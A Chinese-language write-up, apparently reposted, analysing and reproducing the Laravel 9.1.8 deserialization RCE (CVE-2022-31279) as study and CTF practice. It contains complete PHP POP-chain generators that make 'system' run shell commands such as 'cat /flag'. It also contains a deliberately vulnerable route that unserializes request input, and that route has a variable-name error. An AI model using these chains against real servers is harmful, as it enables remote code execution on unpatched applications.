Laravel 9.1.8 反序列化漏洞和复现
反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。
漏洞详情
Laravel是一套简洁、优雅的PHP Web开发框架。
近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行,如下:
CVE-2022-31279
:Laravel远程代码执行漏洞
Laravel 9.1.8在处理反序列化数据时,允许通过 IlluminateBroadcastingPendingBroadcast.php
中的 __destruct 和FakerGenerator.php
中的 __call中的反序列化POP链实现远程代码执行。
漏洞分析
根据漏洞信息的描述, 跟进src/Illuminate/Broadcasting/PendingBroadcast.php
中的__destruct
方法, 可以看到这里的$this->events
和$this->event
均为可控的, 寻找可用的dispatch
方法:
跟进src/Illuminate/Bus/Dispatcher.php
中的dispatch
方法, 这里的$command
和$this->queueResolver
均是可控的:
跟进dispatchToQueue
方法, $command
和$this->queueResolver
均是可控的, 可以利用该方法中的call_user_func
方法来进行命令执行的利用:
接下来就是命令执行的语句, 注意到上图中的代码$connection = $command->connection ?? null;
, 这里可以通过src/Illuminate/Broadcasting/BroadcastEvent.php
中的类中变量来控制$connection
, 从而达到命令执行的目的。
POP Chain
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue {}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "calc";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
漏洞复现
我们从laravel官网下载了Laravel 9.1.8
的源码之后,添加一个入口,修改routes\web.php
如下:
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function (\Illuminate\Http\Request $request) {
$vuln = base64_decode($request->input("vuln"));
unserialize($ser);
return "H3rmesk1t";
});
添加了入口之后,通过上面的分析和得到的POP链,即可进行复现:
相同漏洞的复现
本次复现,源码来源于cj师傅之前出题所用的源码和2022NepCTF的题目:
下载源码后,是Laravel框架:
hello路由
是一个反序列化点
可以用POP链:
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue {}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "cat /flag";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
可以得到结果:
因此复现成功!
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfhjfjg
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13